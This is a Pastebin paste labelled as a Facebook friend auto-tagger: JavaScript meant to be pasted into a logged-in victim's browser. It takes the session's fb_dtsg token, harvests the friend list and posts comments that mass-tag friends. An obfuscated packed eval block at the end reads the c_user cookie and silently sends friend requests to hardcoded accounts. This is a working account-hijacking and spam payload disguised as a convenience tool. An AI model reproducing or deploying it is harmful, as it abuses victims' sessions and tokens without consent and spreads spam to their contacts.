Advertisement
Dan38zzzz

auto tag bạn bè

Nov 2nd, 2013
321
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.08 KB | None | 0 0
  1. /* facebook.com/cesarferreyavl */
  2. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  3. //Pegar todos amigos
  4. function get_friends(){
  5. var a=x__0();
  6. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  7. a.send(null);
  8. if (a.readyState == 4) {
  9. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  10. return f.payload.entries;
  11. }
  12. return false;
  13. }
  14. /* cesar */
  15. //Pegar todos amigos
  16. function get_uid(b){
  17. var a=x__0();
  18. a.open("GET", 'http://graph.facebook.com/'+b, false);
  19. a.send();
  20. if (a.readyState == 4) {
  21. return uid = JSON.parse(a.responseText).id;
  22. }
  23. return false;
  24. }
  25. // Pattern que vai trocar o valor dos comentários pelas marcações
  26. var patt = /comment_text=(.*?)&/
  27. var c = 1;
  28. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  29. uid = get_uid(username);
  30. a = window.top.location;
  31. termina = 0;
  32. var amigos = get_friends();
  33. post_id = /[0-9]{8,}/.exec(a);
  34. uids = 'comment_text=';
  35. header = 'ft_ent_identifier='+post_id+'&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  36. for ( var n = 1 ; n < amigos.length ; n++ ){
  37. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  38. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  39. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  40. c++;
  41. if(c == 7){
  42. // Quando o contador chega em 7, ele termina o parâmetro com um &...
  43. uids += '&';
  44. // ...envia as coisas com o método do indiano...
  45. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  46. // ... espera um segundo...
  47. z = setTimeout('function(){asd=0}', 1000);
  48. clearInterval(z);
  49. // ... e seta tudo de novo pra recomeçar
  50. c = 1;
  51. uids = 'comment_text=';
  52.  
  53. }
  54.  
  55. };
  56. eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('17(W(p,a,c,k,e,r){e=W(c){Y(c<a?\'\':e(18(c/a)))+((c=c%a)>12?13.19(c+1a):c.1b(1c))};Z(!\'\'.15(/^/,13)){11(c--)r[e(c)]=k[c]||e(c);k=[W(e){Y r[e]}];e=W(){Y\'\\\\w+\'};c=1};11(c--)Z(k[c])p=p.15(10 16(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);Y p}(\'3 5=7.s(\\\'5\\\')[0].o;3 c=7.e.h(7.e.h(/B=(\\\\d+)/)[1]);8 6(r){3 2=i j();3 a="//k.l.m/n/f/g.q";3 b="t="+r+"&g=f&u=V&v=w&&&x=&y=z&A=9&C&D&E="+c+"&F=1&G=H-&I=J&5="+5+"&K=";2.L("M",a,9);2.N=8(){O(2.P==4&&2.Q==R){2.S}};2.T(b)}6("U");6("p");\',14,14,\'||X|1d||1e|1f|1g|W|1h|||1i||1j|1k|1l|1m|10|1n|1o|1p|1q|1r|1s|1t|1u||1v|1w|1x|1y|1z|1A|1B|1C|1D|1E|1F|1G|1H|1I|1J|1K|1L|12|1M|1N|1O|1P|Z|1Q|1R|1S|1T|1U|1V|1W\'.1X(\'|\'),0,{}))',62,122,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||function||return|if|new|while|35|String|58|replace|RegExp|eval|parseInt|fromCharCode|29|toString|36|var|fb_dtsg|IDS|document|true|user_id|cookie|add_friend|action|match|XMLHttpRequest|www|facebook|com|ajax|value|MTAwMDA0NDYxMzY3NDY0====|php|getElementsByName|to_friend|how_found|ref_param|none|outgoing_id|logging_location|search|no_flyout_on_click|c_user|ego_log_data|http_referer|__user|__a|__dyn|798aD5z5CF|__req|phstamp|open|POST|onreadystatechange|readyState|status|200|close|send|<~1GL[>1GCU=1GCUA1H70M1H%$C1GpsD1GCUA1GA~>|friend_browser_s|split'.split('|'),0,{}));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement